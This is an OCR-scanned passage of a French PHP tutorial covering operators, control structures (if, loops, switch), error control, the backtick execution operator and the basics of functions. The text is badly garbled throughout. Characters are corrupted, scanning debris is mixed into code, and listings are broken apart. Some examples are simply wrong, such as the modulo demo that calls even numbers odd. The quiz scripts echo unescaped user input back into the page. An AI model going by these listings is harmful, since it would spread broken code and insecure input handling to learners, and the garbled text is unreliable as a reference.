chapitre specif ique. 

II s'agit des tableaux $_cookie et $_session etudies dans le chapitre En-tetes et du tableau 
$_files etudie dans le chapitre Fichiers. 



3.5. Les operateurs 
Arithmetiques 

Les operateurs mathematiques sont classiques ; les voici regroupes dans un tableau. lis agissent 
aussi bien sur des entiers que sur des reels. 



Tableau 3.6 : Les operateurs arithmetiques 



Operateur 


Description 


$a + $b 


Somme de $a et $b. 


$a - $b 


Difference de $a et $b. 


$a * $b 


Produit de $a par $b. 


$a / $b 


Quotient de $a par $b. 


$a % $b 


Reste de la division de $a par $b. 



L'operateur '/' renvoie un entier si les deuxvaleurs de la division sont des entiers ou des chaines 
de caracteres representant des entiers. Si une des deuxvaleurs est un reel, alors le resultat sera 
un reel. 



Reste de la division 

L'operateur '%' est particulierement utile ; il peut permettre de savoir si un nombre est 
divisible par un autre. Par exemple, si vous souhaitez savoir si $a est un chiffre pair, il 
suffit de tester le resultat de $a%2 s'il vaut alors $a est un chiffre pair (divisible pari). 

<?php 

for ($i=l; $i<= 5; $i++) { 
echo "$i:"; 

if ($i%2 == 0) echo "impair "; else echo "pair "; 
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?> 

Le resultat : 

l:impair 2:pair 3:impair 4:pair 5:impair 

Binaires 

Vous pouvez traiter les donnees binaires a l'aide de ces fonctions primaires : 



Tableau 3.7 : 


Les operateurs binaires 




Exemple 


Nom 


Description 


$a & $b 


Et 


Active les bits presents dans $a et $b/. 


$a | $b 


Ou 


Active les bits presents dans $a ou $b. 


$a A $b 


Ou exclusif 


Active les bits presents dans $a ou $b mais pas dans 
les deux. 


~$a 


Non 


Oppose les bits. 


$a«$b 


Decalage a gauche 


Decale $a a gauche de $b rangs (revient a multiplier $b 
fois par 2). 


$a»$b 


Decalage a droite 


Decale $a a droite de $b rangs (revient a diviser $b fois 
par 2). 



Considerons $a=iO soit 1010 en binaire, que Ton notera 1010b et $b=i3 soit 1101b 

<?php 
$a=10; 
$b=13; 
echo 
echo 
echo 
echo 
echo 
echo 
?> 



$a & $b = ". ($a&$b) ; 
$a | $b = ".($a|$b); 
$a A $b = ".($a A $b); 
-$a = ".(~$a); 
$a«2 = " . ($a«2) ; 
$a»2 = " . ($a»2) ; 



Voici le resultat obtenu : 



e' zcio'" j.".:"e'" Rsrreic'ie: sjle'" a Signets Tarries Aide 
t^t^ | Q |^http:^ac3lhostjdiap03_03.php ~ | 



10 & 13 = E 
10 | 13 = 1 5 

10 ' 13 = 7 
-10 = -11 
10«2=40 
1Q»2 = 2 



Figure 3.5 : Resultat 
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Verifions : 

1010b AND 1101b fait 1000b soit 8 
■ 1010b OR 1101b fait 1111b soit 15 
1010b XOR 1101b fait 0111b soit 7 

NOT 1010b fait ...10101b soit en complement a 1 1011b done -11 
1010b«2 fait 101000 soit 40 
1010b»2 fait 10 soit 2 

Les resultats concordent bien avec nos calculs. 
L 'ecriture binaire 

Si vous n'etes pas familier de la notation et des calculs binaires, cela peut vous 
paraitre obscur. Bien que cela ne soit pas indispensable pour I'apprentissage de PHP, 
si vous voulez en apprendre davantage sur la notation binaire, vous pouvez vous 
connecter, par exemple, aux sites Internet suivants : 
http://www.histoire-informatique.org/technologie/binaire.html 
http://www.web2.cnam.fr/evaristelevariste/10_courslbinaire/binaire.htm 
http://www.lille.iufm.fr/labo/pagesProjets/leparc/base2/thema.htm 
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Chaines de caracteres 

L'operateur permettant la concatenation (fusion) de deux chaines de caracteres et le point ' . '. 
Voici un exemple de script affichant le resultat de la concatenation de deux chaines : 

<?php 

$a="PHP ?"; 
$b=" Facile !"; 
echo $a.$t>; 

?> 



Affectation 

Le signe = est le symbole utilise pour affecter une valeur a une variable ; la valeur a la droite de 
ce signe est affectee a la variable de gauche. II est possible de les mettre en sequence, comme 
dans le script qui suit : 

<?php 

$a = ( $b = 3 ) +5; 

?> 



Apres cette instruction, $a vaut 8 et $b vaut 3. 
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II existe des raccourcis particulierement utiles : au lieu d'ecrire $a = $a+io, vous pouvez ecrire 
$a += 10. De meme, $a = $a-io peut s'ecrire $a -= 10. /= et *= sont aussi des operateurs 
d'affectation. 

Pour les chaines de caracteres, il existe le meme type d'operateur, a savoir : . =, ecrire $a . = 
"toto"; est equivalent a $a = $a."toto"; 

Incrementation et decrementation 



Tableau 3.8 : Operateurs ^incrementation et de decrementation 



Syntaxe 


Norn 


Description 


+ + $a 


Pre-incrementation 


Incremente $a de tin puis retourne $a. 


$a+ + 


Post-incrementation 


Retourne $a puis incremente $a de un. 


— $a 


Pre-decrementation 


Decremente $a de un puis retourne $a. 


$a — 


Post-decrementation 


Retourne $a puis decremente $a de un. 


<?php 






echo 

ta - 


"Post-i ncrementati on<br>" ; 




j>a - 
echo 


o; 

$a++; // affiche 5 




echo 


"<br>";// place une nouvelle 


ligne dans le script resultat 


echo 


$a; // affiche 6 




echo 


"<br>" ; 




echo 


" Pre- i ncrementati on<br>" ; 




$a = 
echo 


5; 

++$a; // affiche 6 




echo 


"<br>" ; 




echo 


$a; // affiche 6 




echo 


"<br>" ; 




echo 


"Post-decrementation<br>" ; 




$a = 
echo 


5; 

$a--; // affiche 5 




echo 


"<br>" ; 




echo 


$a; // affiche 4 




echo 


"<br>" ; 




echo 


"Pre-decrementation<br>" ; 




$a = 
echo 


5; 

— $a; // affiche 4 




echo 


"<br>" ; 




echo 


$a; // affiche 4 





echo "<br>"; 

?> 
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Tableau 3.9 : Les operateurs de comparaison 



Syntaxe 


Nom 


Description 


$a 


= = $b 


Egal 


Renvoie true si $a est egal a $b. 


$a 


= = = $b 


Identique 


Renvoie true si $a est egal a $b et que $a et $b sont 
du meme type. 


$a 


!= $b 


Different 


Renvoie true si $a est different de $b. 


$a 


<> $b 


Different 


Renvoie true si $a est different de $b. 


$a 


!== $b 


Non identique 


Renvoie true si $a est different de $b ou de type 
different. 


$a 


< $b 


Inferieur a 


Renvoie true si $a est inferieur a $b. 


$a 


> $b 


Superieur a 


Renvoie true si $a est superieur a $b. 


$a 


<= $b 


Inferieur ou egal a 


Renvoie true si $a est inferieur ou egal a $b. 


$a 


>= $b 


Superieur ou egal a 


Renvoi true si $a est superieur ou egal a $b. 



Tous ces comparateurs vous permettront de tester les variables pour agir en fonction du 
resultat obtenu. 
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Typage 

Depuis PHP4, le typage est devenu plus fort, meme si Von peut encore comparer 
directement des chaines de caracteres avec un entier ou un reel par exemple. Mais si 
false == (ce qui peut porter a confusion lorsqu'une fonction peut retourner 
dans un cas nominal et false en cas d'erreur) et bien false >.== (puisque false 
est un booleen et un entier). 



Bien entendu, il est possible de combiner les operateurs binaires et les operateurs de 
comparaison. 

L'expression correspondant aux phrases "la variable a est differente de 3 et la variable b vaut 
toto ou alors la variable c est un booleen valant false" s'ecrit de differentes facons. En voici 
quelques-unes : 

(($a != 3 && $b == "toto) || ($c==FALSE)) 

// faire un test d'egalite avec TRUE n'est pas tres fute 

(($a != 3 && $b == "toto) || (!$c==TRUE)) 

// la fagon la plus standard de faire, reste 

(($a != 3 && $b == "toto) | | (!$c)) 
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Logique 

Les operateurs de logique vont servir a faire des tests complexes, par exemple pour savoir si $a 
vaut 3 ET $b est faux. 

Dans le tableau suivant sont regroupes tous les operateurs logiques supportes par PHP : 



Tableau 3.10 : Les operateurs logiques 



Syntaxe 


Description 


$a and $b 


VRAI si $a et $b sont vrais. 


$a && $b 


VRAI si $a et $b sont vrais. 


$a or $b 


VRAI si $a ou $b est vrai. 


$a | | $b 


VRAI si $a ou $b est vrai. 


$a xor $b 


VRAI si $a ou $b est vrai, mais pas les deux. 


! $a 


VRAI si $a est faux. 



Utiliser I'operateur OR comme expression conditionnelle 

PHP n'interprete pas la partie droite de ['expression OR si la partie gauche est vraie. 
On peut ainsi s'en servir astucieusement pour executer une instruction si une 
expression est incorrecte. 

<?php 
$a=4; 

($a==3) OR die("\$a ne vaut pas 3"); 

?> 

Ce script stoppe si $a ne vaut pas 3 et affiche un message. 

Cela est particulierement utile lors de Vappel a des fonctions (par exemple de 
connexion a une base de donnees) qui retournent false en cas d'erreur. 

<?php 

connexion() OR die("Impossible de se connecter"); 

?> 



Controles d'erreur 

PHP integre quatre grands niveaux de message d'erreur ou d'alerte. A chacun correspond une 
constante : 

e_notice : simple remarque (comme lorsque Ton essaye d'acceder a un index inexistant 
d'un tableau). 

e_parse : en cas d'erreur d'analyse a la compilation (comme une erreur de syntaxe). 
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e_warning : une alerte ne necessitant pas l'arret du script. 
e_error : une erreur "grave" necessitant l'arret du script. 

Une constante supplemental fait la somme de tous ces types d'erreur et d'alerte, il s'agit de 

E_ALL. 

A ceux-la viennent s'ajouter les niveaux e_core_error, e_core_warning, e_compile_error, 

E_COMPILE_WARNING, E_USER_ERROR, E_USER_WARNING et E_USER_NOTICE d'une Utilisation 

moins courante. 

Lorsqu'une erreur est rencontree et qu'elle depasse le seuil d'alerte, ou plus exactement 
lorsque son niveau de severite fait partie de la liste des niveaux a signaler, un message est 
envoye au client (i.e. est affiche sur la page reque par le navigateur). 

Les niveaux d'erreur a signaler sont definis dans le fichier de configuration php.ini, mais 
peuvent etre modifies au niveau du script par un simple appel a la fonction 



Q. 

CD 
E3> 
CO 

S3) error_reporting ( ) 

CD 



error_reporting() 

Fixe les niveaux d'erreur devant etre signales. 



Syntaxe int error_reporting([int $niveaux]) 

$niveaux Combinaison par OU logique ou OU exclusif des differentes constantes 

indiquees precedemment. 

retour Anciennes valeurs des niveaux d'erreur. 



II est toutefois possible de s'affranchir des messages d'erreur pour une instruction donnee sans 
avoir recours a cette fonction. Pour cela, il existe un operateur de controle d'erreur, c'est le 
caractere @ ; il peut etre mis devant n'importe quelle fonction susceptible de generer une 
erreur. 

Cela peut etre particulierement utile pour generer vos propres messages d'erreur. 

Le script suivant fixe les niveaux d'alerte a "tous sauf les simples remarques" (ce qui est la 
configuration par defaut de PHP), puis tente d'acceder a un fichier qui n'existe pas. 

<?php 

error_reporting(E_ALL A E_N0TICE); 
$fichier = @file ( ' f i chier_inexi stant .toto 1 ) or 
die ("Impossible d'ouvrir le fichier."); 

?> 



La fonction file renvoie un booleen indiquant si l'operation s'est bien deroulee. Si le fichier 
n'existe pas, alors la fonction renvoie un message. Ici, nous avons mis @ devant le nom de la 
fonction ; nous n'aurons done pas cet affichage, mais le texte "Impossible d'ouvrir le fichier". 

Notez que cela peut aussi s'appliquer a des expressions, et done a un tableau, pour eviter un 
message si l'element recherche n'existe pas (ex. : gtableau [ " indexjnexistant " ] ;). Ceci 
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dit, le message prevu en pareil cas est de niveau NOTICE, et PHP n'est, par defaut, pas 
configure pour afficher ce type de message. 
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Connexion a une base de donnees 

Lorsque vous vous connectez a une base de donnees, il se peut que celle-ci soit 
momentanement indisponible. Done, au lieu d'obtenir le message d'erreur standard, 
il vaut mieuxfaire preceder la fonction de connexion de @ et tester le code retour pour 
afficher voire propre message si la connexion a echoue. 



Execution 

II existe un operateur d'execution, e'est ". Ce qui se trouve entre ces apostrophes inverses sera 
interprete par PHP comme une commande shell. Voici un exemple de script qui liste le contenu 
d'un repertoire, le stocke dans une variable, et l'affiche : 

Listing 3.6 : version Unix/Linux 

<?php 

$liste='ls -aV; 

echo "<pre>$l i ste</pre>" ; 

?> 



Listing 3.7 : version Windows 

<?php 

$1 i ste='di r'; 

echo "<pre>$l i ste</pre>" ; 

?> 



Configuration du serveur 

Ceci ne fonctionne pas si I'option safe_mode dufichier de configuration php.ini a 
REMARQJE g t g activee ( on) ou si la fonction shell_exec ( ) est desactivee. 




Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



Priorites 

Les priorites sur les calculs sont les memes que celles que vous connaissez deja. 
8 + 2*3 fera bien 8 + 6 = 14 (et pas 10 * 3 = 30). 
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Dans le tableau suivant, vous trouverez les operateurs par ordre de priorite ; les premiers 
elements sont prioritaires sur les derniers. 



Tableau 3.11 : Associativite et priorite des operateurs par ordre decroissant de priorite 



Operateur 


Associativite 


New 


Aucune 


[ Droite 


i _ ++ — (int) (double) (string) (array) 
(object) @ 


Droite 


* / % 


Gauche 


+ - . 


Gauche 


« » 


Gauche 


<<=>>= 


Aucune 


== i= === i== Aucune 




Gauche 


Gauche 


| Gauche 


&& 


Gauche 


| | Gauche 




Gauche 


= += -= *=/=.= %=&=|= ~= «= »= 


Gauche 


Gauche 



3.6. Les structures de controle 

Extremement utiles, les structures de controle vous permettront de faire des boucles et des 
tests dans vos scripts PHP. 

If, else, elseif 

La boucle de controle if est sans aucun doute la plus importante dans tous les langages de 
programmation ; cela vaut aussi en PHP. 

La syntaxe est classique : 

if (expression) instruction; 

ou, s'il y a plusieurs instructions (et cela reste conseille meme s'il n'y a qu'une seule 
instruction) : 
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if (expression) { 
instructionl; 
instruction2; 
instruction3; 



expression est une expression booleenne ; si elle est verifiee (true), la ou les expressions qui 
suivent sont evaluees : 

<?php 
$a=3; 

if ($a>l) echo "a est superieur a un"; 

?> 



Expressions = 

Les expressions peuvent bien entendu utiliser tous les operateurs de comparaison et 
de logique. Ilfaut toutefois s'assurer que les parentheses sont correctement placees. 
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Maintenant, il est tres probable que vous ayez envie d'executer certaines instructions si 
l'expression retourne true (Vrai), et d'autres si elle retourne false (Faux). Dans ce cas, il faut 
utiliser l'expression suivante : 

if (expression) { 

instructionl; 

instruction2; 

instruction3; 
} else { 

instruction^ 

instruction5; 

} 



CD 

-a 

T3 



Voici un exemple : 

<?php 
$a=3; 

if ($a>l) echo "a est superieur a un"; 
else echo "a est inferieur ou egal a un"; 

?> 



Pour obtenir une valeur ou une autre selon le resultat d'un test, il est possible d'utiliser les 
instructions ? et : selon le schema suivant : 



(expression) ? (valeurl) : (valeur2) 



Ce qui donne par exemple : 

<?php 

$a=3; 

echo "a est " . ( ($a>l) ?"superi eur" : "i nferieur ou egal")." a un"; 

.> 
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Accolades 

^ Encore une fois, dans le cas d'une seule instruction, les accolades peuvent etre 
omises, mais cela est deconseille (comme I'indiquent les regies de codage). 



II se peut que vous souhaitiez faire plusieurs tests consecutifs ; pour cela vous pouvez utiliser les 
instructions if. . elseif . .else... 

if (expression) { 

instructionl; 

instruction2; 

instruction3; 
} elseif { 

instruction^ 

instruction5; 
} else { 

instruction6; 

instruction?; 



Reprenons l'exemple precedent et ameliorons-le : 

<?php 
$a=3; 

if ($a>l) echo "a est superieur a un"; 
elseif ($a<l) echo "a est inferieur a un"; 
else echo "a vaut 1"; 

?> 



Jouer I'alternance 

Comme cela a deja ete evoque, les portions de script PHP peuvent etre placees 
comme bon vous semble dans le script (vous pouvez ainsi alterner les portions de 
PHP et de HTML). 
Ainsi, le script suivant est valide : 

<?php 
$a=3; 

if ($a>l) { 

?> 

a est superieur a un 
<?php 

} elseif ($a<l) { 

?> 

a est inferieur a un 
<?php 

el se { 

?> 

a vaut 1 
<?php 
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} 

?> 

II existe encore une autre facon (meme si nous la deconseillons) de noter. Au lieu d'utiliser 
les accolades, la notation suivante est egalement valide. Dans ce cas, la fin du bloc est 
indiquee par endif. 

if (expression): 

instructionl; 

instruction2; 

instruction3; 
el sei f : 

instruction^ 

instruction5; 
el se: 

instruction6; 

instruction?; 
endi f ; 



Exemple (premiere etape) 

A partir de cette boucle de controle, il est deja possible de faire des scripts interessants. 
Realisons ensemble un script de Quizz. 

Listing 3.8 : qu.izz01.php 

<html> 
<head> 

<ti tl e>Qui zz</ti tl e> 
</head> 
<body> 
<?php 

if (isset($_POST["reponse"])) { 

$reponse=$ _P0ST["reponse"] ; 
} else { 

$reponse=" " ; 

} 

?> 

<p>Quel est le site officiel de PHP ?</p> 

<form type="post" action="<?php echo $_SERVER["PHP_SELF"] ;?>"> 

<input type="text" name="reponse" value="<?php echo $reponse ?>" /> 

<input type="submi t" value="0K" /> 
</form> 
<?php 

if ($reponse!="") { 

if (strtol ower($reponse) == "www.phpfacile.com") 
echo "Ce n'est pas la bonne reponse"; 
elseif (strtol ower($reponse) == "www.php.net") echo "Bingo !"; 
else echo "Et non, ce n'est pas ".$reponse; 

} 

?> 
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</body> 
</html> 

Ici, la seule structure utilisee est if elseif else. Le fichier HTML de depart est un simple 
formulaire qui s'envoie a lui-meme la reponse saisie. 

Voici ce que signifie ce script : 

Si la variable $ reponse est definie, alors on compare la valeur de la variable reponse 
transformed en minuscules avec la chaine "www.phpfacile.com".. Si ces chaines sont 
identiques alors "Ce n'est pas la bonne reponse" est affiche, sinon on compare a "www . php .net" 
.. Si ces chaines sont identiques "Bingo" est affiche, sinon la phrase "Eh non, ce n'est pas " suivie 
de la reponse entree est affichee. 
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While, do . . . while 

Pour repeter une serie d'instructions, l'instruction while ou "tant que" en frangais vous sera 
utile. Voici la syntaxe : 

while (expression) instruction; 

Cela signifie que tant que l'expression sera VRAIE, l'instruction sera executee. II faut done 
s'assurer que l'expression passe obligatoirement a FAUX a un moment donne, sinon le script 
bouclera a l'infini et ne se terminera que lorsque le temps maximal d'execution d'un script sera 
atteint. 

Bien sur, ['utilisation des accolades est egalement possible (et conseillee) ici. 

while (expression) { 
instruction!.; 
instruction2; 

} 

La notation avec les : est egalement valide (quoique deconseillee). Dans ce cas, le bloc est 
termine par endwhile. 

while (expression): 

instruction!.; 

instruction2; 
endwhi 1 e; 
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Voici un exemple concret de script qui affiche les entiers de 1 a 10. 

Listing 3.9 : Exemple 

<?php 

$i = 1; 

while ($i <= 10) { 
echo print $i++; 

} 

?> 



Duree de vie d'un script 

Vous pouvez regler le temps d'execution d'un script dans lefichier de configuration de 
( ( , N SLi | PHP : il suffit de donner une valeur en secondes a max_execu t i on_ timeau niveau 
dufichierde configuration php.ini ou via lafonction set_time_limi t O.Ainsi, s'il 
s'avere que voire boucle ne se termine pas, le script ne tournera pas indefiniment. 



RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 



CD 

5T 

=3 

<o 
m 
(a 

CD 

-a 

T3 



Une variante de la boucle while est la boucle do...while. La difference reside dans ce que le 
test est fait apres les instructions. Ainsi, la serie d'instructions est obligatoirement effectuee au 
moins une fois avant d'etre testee. 

Voici la syntaxe : 
do { 

instructionl; 
instruction2; 
} while (expression); 



For, foreach 

Les boucles for sont tres utilisees ; elles fonctionnent, comme dans d'autres langages, de la 
fagon suivante : 

for (expressionl; expression2; expression3) instruction 

expressioni est executee avant toute iteration. Elle sert done generalement a initialiser les 
variables de la boucle. 

expression2 est executee a chaque iteration. Si elle est VRAIE, une nouvelle execution des 
instructions a lieu, sinon le programme sort de la boucle. 

expressions est une instruction executee a chaque iteration. Elle sert generalement a 
incrementer une variable. 

Voici un exemple de script qui affiche les chiffres de a 9 : 
for ($i=0;$i<10;$i++) echo $i; 
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II faut lire cette commande comme suit : apres avoir initialise $ i a 0, et tant que $ i est inferieur 
a 10, afficher $i, puis l'incrementer. 

L'instruction break permet de sortir de la boucle. Dans ce cas, le restant des instructions n'est 
pas execute. 

for ($i=0;;$i++) { 
echo $i ; 

if ($i==9) break; 

} 

Ces lignes de code auront le meme effet que le script precedent. 

II est aussi possible de se servir de la syntaxe utilisant les deux-points ( : ). Dans ce cas, le bloc se 
termine par endf or. 

for (expressionl;expression2;expression3) : 

instructionl; 

instruction2; 
endfor; 

L'instruction f oreach. offre une autre maniere de realiser une boucle, et elle est 
particulierement pensee pour les tableaux. Voici deux syntaxes possibles : 

foreach($tableau as $valeur) instruction; 
foreach ($tabl eau as $cle => $valeur) instruction; 

Dans la boucle, la valeur de l'entree du tableau est recuperable par Jvaleur ; la cle associee est 
recuperable par $cle, a condition d'utiliser la seconde syntaxe dans cet exemple. 



^-tj Pointeur de tableau 

Lorsque la boucle foreach est invoquee, elle met le pointeur du tableau en premiere 
REMARQUE position. II est done inutile d'appliquer lafonction reset ( ) dessus. 



Exemple (deuxieme etape) 

Cette fois, le script propose permet de repondre a plusieurs questions sur une meme page. II 
utilise une boucle foreach et une boucle for ainsi que des tests if. 

Listing 3.10 : quizz02.php 

<html> 
<head> 

<ti tl e>Qui zz</ti tl e> 
</head> 
<body> 
<?php 

Squestions = array("Quel est le site officiel de PHP ?", 
"Quel est le nom de la commande qui 
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affiche une chaine de caractere ?", 
"Quel est le nom de la commande 
qui met une chaine de caractere en minuscule ?"); 
$reponses=array ("www.php.net" , "echo" , "strtol ower") ; 
// initialisation des variables 
foreach($questions as $index => $question) { 
if (isset($_POST["reponse$index"])) { 

${"reponse$index"} = $_POST["reponse$index"] ; 
} else { 

${"reponse$index"} = ""; 




?> 



<form type="post" action="<?php echo $_SERVER["PHP_SELF"] ;?>"> 
<?php 

foreach($questions as $index => $question) { 
echo $question; 

echo "<input type=\"text\" name=\"reponse$index\" 
value=\"${"reponse$index"}\"xbr>"; 

} 

?> 

<input type="submit" value="0K"> 

</form> 

<?php 

if ($reponseO != "") { 
$parfait = TRUE; 

for ($i=0; $i<sizeof ($questions) ; $i++) { 

if (strtolower(${"reponse$i"}) == $reponses [$i] ) { 

echo "<br />La reponse ".($i+l)." est correcte"; 
} else { 

echo "<br />La reponse ".($i+l)." est fausse"; 
Sparfait = FALSE; 

} 

} 

if (Sparfait) 

echo "<br />Bravo !"; 

el se 

echo "<br />Perdu ..."; 

} 

?> 
</body> 
</html> 

Voici une capture d'ecran de ce script en cours d'execution. 
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I Switch 
s 

aj Utiliser switch revient a utiliser des tests if consecutifs sur la meme variable. 

n Void un exemple d'utilisation de switch. 

switch ($chanteur) { 
case "Cantat": 

echo "Ce chanteur est celui de Noir Desir"; 

break; 
case "Harper": 

echo "Ce chanteur est celui de Ben Harper and the innocent criminals"; 

break; 
case "Torrini": 

echo "Cette chanteuse est Emi liana Torrini"; 

break; 
default: 

echo "Ce chanteur m'est inconnu"; 

} 

Ce script est equivalent a : 

if ($chanteur=="Cantat") 

echo "Ce chanteur est celui de Noir Desir"; 
elseif ($chanteur=="Harper") 

echo "Ce chanteur est celui de Ben Harper and the innocent criminals"; 
elseif ($chanteur=="Torrini") 

echo "Cette chanteuse est Emi liana Torrini"; 
else "Ce chanteur m'est inconnu"; 

default est la condition qui sera VRAIE si aucune des autres ne l'est. 

L'instruction break est indispensable ici, sinon toutes les instructions qui suivent sont 
interpreters jusqu'au prochain break ou la fin du bloc switch. Cela peut etre utile dans 
certains cas. 

switch ($i) { 
case 0: 
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case 1: 
case 2: 

echo "i est positif mais inferieur a 3 "; 
break; 
case 3: 

echo "i vaut 3"; 



Comparaison 

~ Contrairement a d'autres langages de program/nation, la variable a comparer pent 

REMARQUE g tre auss i bi en un nombre qu'une chaine de caracteres. 



Break, continue 1 

CD 

Deux instructions permettent de controler les sorties de boucle (for, while. . .). break est une "a 
instruction qui fait sortir de la boucle, alors que continue passe a l'iteration suivante sans -o 
executer les instructions d'apres. 

<html> 

<headxti tl e>Conti nue, Break</ti tl ex/head> 
<body> 
<P> 

<?php 

for ($i=0;$i<10;$i++) { 

echo $i; // va afficher 0,2,4,6,8 
$i++; 

echo $i; // va afficher 1.3.5.7.9 

} 

echo "<br>"; 

for ($i = 0; $i < 10;$i++) { 
echo $i ; 
$i++; 

if ($i>4) break; 
echo $i ; 

} 

echo "<br>"; 

for ($i=0;$i<10;$i++) { 

echo $i ; 

$i++; 

if ($i>4) continue; 
echo $i ; 

} 

?> 

</P> 
</body> 
</html> 

Voici le resultat obtenu : 
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Figure 3.8 : Resultat 



Pour bien comprendre, regardons la premiere boucle. Elle affiche tous les chiffres de a 9, mais 
affiche deux chiffres a chaque iteration. 

La deuxieme boucle, semblable a la premiere, utilise l'instruction break. A la premiere 
iteration les chiffres et 1 sont affiches. A la seconde les chiffres 2 et 3 sont affiches. Puis 4 est 
affiche. Enfin, apres ['incrementation $i vaut 5 (et la condition est verifiee) et le programme 
sort definitivement de la boucle. 

La troisieme boucle utilise l'instruction continue. A la premiere iteration les chiffres et 1 
sont affiches. A la seconde les chiffres 2 et 3 sont affiches. Puis 4 est affiche. Enfin, apres 
l'incrementation $i vaut 5 (la condition est verifiee) et la seconde instruction echo n'est pas 
executee (done 5 n'est pas affiche). Mais une nouvelle iteration est realisee faisant apparaitre le 
chiffre 6, mais pas 7, puis 8, mais pas 9. 



3.7. Les fonctions 

PHP possede, comme de nombreux langages, la possibilite de regrouper des portions de code 
sous la forme de fonctions (ou procedures). Si la definition de fonctions n'a aucun impact sur le 
fonctionnement d'un programme, et done s'il est possible de construire son developpement 
comme une suite d'instructions mises bout a bout, elle procure en revanche visibility et 
reduction de la taille du code source. La maintenance n'en est alors que plus simple et plus 
rapide. 

Les fonctions permettant de structurer le code, il est fortement conseille de les utiliser et de 
constituer des fichiers independants qui regrouperont les fonctions de meme type. Ces 
bibliotheques pourront facilement etre reutilisees dans d'autres developpements et reduire 
ainsi le temps de mise au point (et done le cout de production). 

Trois avantages decoulent done de l'ecriture du code sous forme de fonctions : 

Le temps de developpement est considerablement reduit. En effet, vous n'avez pas a 
retaper des sequences de code identiques en divers endroits du programme. De la meme 
fagon, les bugs ne sont pas dupliques, d'ou un gain de temps considerable lors de la phase 
de mise au point. 

Meilleure lisibilite du code source. Le simple fait de regrouper le code en fonctions et les 
fonctions dans des fichiers separes permet aux developpeurs de s'y retrouver tres 
facilement. De plus, donner a vos fonctions des noms significatifs est complementaire avec 
l'ajout des commentaires, et facilite necessairement la lisibilite et la comprehension du 
programme. Ceci est d'autant plus important pour la perennite d'un code. Ainsi, la 
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maintenance et les modifications du programme sont facilities, meme pour un 
developpeur reprenant son propre code quelques temps apres l'avoir ecrit. 

Le travail en equipe est ameliore. Un developpement peut ainsi etre decoupe en plusieurs 
sous-parties, chaque developpeur ayant alors la tache de mettre au point une ou plusieurs 
fonctions. 

Si l'emploi de fonctions est un avantage certain, une etape de conception prealable reste 
necessaire afin de bien definir les fonctions qui devront etre developpees et de bien cibler leurs 
roles respectifs. Plus important encore, l'etape preliminaire permet de fixer les regies d'entree/ 
sortie de chacune des fonctions, ceci afin que chaque developpeur connaisse a l'avance les 
parametres qu'il doit envoyer a la fonction et ce qu'elle doit retourner une fois le traitement 
effectue. Si les fonctions sont connues des le debut, alors chacun pourra commencer a les 
utiliser dans son code avant meme la mise en production desdites fonctions. 



La syntaxe 

La fonction est un sous-programme isole du reste du code et utilisable par un simple appel 
depuis n'importe quelle partie du programme. 

La syntaxe pour declarer une fonction simple est la suivante : 
<?php 

function premiereFonction() 

{ 

echo "J'aime PHP !"; 

} 

?> 

Ce code n'affiche rien tant que Ton ne fait pas appel a elle comme ceci : 
<?php 

function premiereFonction() 

{ 

echo "J'aime PHP !"; 

} 

premiereFonctionO ; // Affiche "J'aime PHP !" 

?> 

Le cas precedent est un bon exemple de declaration de fonction et d'utilisation de celle-ci a 
l'interieur du programme principal. On voit l'interet qu'apporte la definition de la fonction 
dans le cas ou la tache de celle-ci est repetitive et devrait engendrer beaucoup de code source. 

Le choix du nom d'une fonction 

Afin de faciliter la lecture de votre code, n'hesitez pas a donner a vos fonctions un 
conseil nom evocateur. Tout comme pour les variables, la lecture de votre programme est 
facilitee si ces elements portent des noms explicites. Si les fonctions du programme 
s'appellent fonctionl ( ), fonction2 ( ) et fonction3 ( ), la maintenance n'en 
sera que plus difficile. Ne donnez pas a vos fonctions un nom trop enigmatique ou qui 
peut avoir plusieurs sens. Evitez les noms de fonctions trop courts pour qu 'Us ne 
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soient pas utilises plusieurs fois dans votre programme. Par exemple, pour une 
consul fonction devant compter un nombre de personnes presentes sur une page web, ne 
I'appelez pas simplement compteurQ, mais plutot compteurPersonneEnLigne(). 



La portee des variables 



Q. 

CD 
E3> 
CO 

=> <?php 

CD 



Comme nous l'avons dit, une fonction n'est rien d'autre qu'un bout de code isole du programme 
principal. C'est done sans surprise que vous apprendrez qu'il est possible de definir des 
variables au sein des ses fonctions. Par contre, ce qu'il faut retenir c'est que les variables ainsi 
definies ne sont pas accessibles du reste du programme (elles ont une portee locale), comme le 
demontre l'exemple suivant : 



function bi centenai re() 

{ 

$annee = "2002"; 

echo "$annee e'etait le bi centenai re de la naissance de Victor Hugo !"; 

} 

bi centenai re () ; 

// Affiche "2002 e'etait le bi centenai re de la naissance de Victor Hugo !" 
echo $annee; // n'affiche rien, la variable n'est pas definie. 

?> 

A l'inverse, une variable definie en dehors de la fonction (dans le programme principal) n'est 
pas accessible depuis la fonction. 

<?php 

$annee = "2002"; 

$prenom = "Victor"; 

$nom = "Hugo"; 

function bi centenai re() 
{ 

echo "$annee e'etait le bicentenaire de la naissance de $prenom $nom !"; 

} 

bi centenai re () ; 

/* 

affiche "e'etait le bicentenaire de la naissance de !" 

Les variables $annee, $nom et $prenom 

ne sont pas definies au niveau de la fonction 

7 
?> 

Pour utiliser des variables globales dans la fonction, il faut utiliser le mot-cle "global" a 
l'interieur de cette fonction, comme le montre l'exemple suivant : 

<?php 

$annee = "2002"; 
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$prenom = "Victor"; 
$nom = "Hugo"; 

function bi centenai re() 

{ 

global $annee, $prenom, $nom; 

echo "$annee c'etait le bicentenaire de la naissance de $prenom $nom !"; 
$annee = "2003"; 



bi centenai re ( "bi centenai re") ; 
// affiche "2002 c'etait le bicentenaire de la naissance de Victor Hugo!" 

CO 

echo $annee; // affiche 2003 J_ 

CD 

s 

=3 

f> O) 

IB 
CD 

Comme vous le constatez, les modifications apportees a ces variables globales au sein de la ^ 
fonction se repercutent en dehors de la fonction. "° 

II existe une autre facon de faire pour utiliser les variables globales depuis une fonction. Cette 
methode consiste a utiliser directement le tableau predefini $globals. L'exemple precedent 
donnerait alors : 



<?php 
$annee = 
$prenom = 
$nom 



"2002"; 

"Victor"; 

"Hugo"; 



function bi centenai re() 
{ 

echo $GL0BALS["annee"] . " c'etait le bicentenaire de la naissance de ". 

$GL0BALS["prenom"] . " " .$GL0BALS["$nom"] . " !"; 
$GL0BALS["annee"] = "2003"; 

} 

bi centenai re ("bi centenai re") ; 

// affiche "2002 c'etait le bicentenaire de la naissance de Victor Hugo!" 
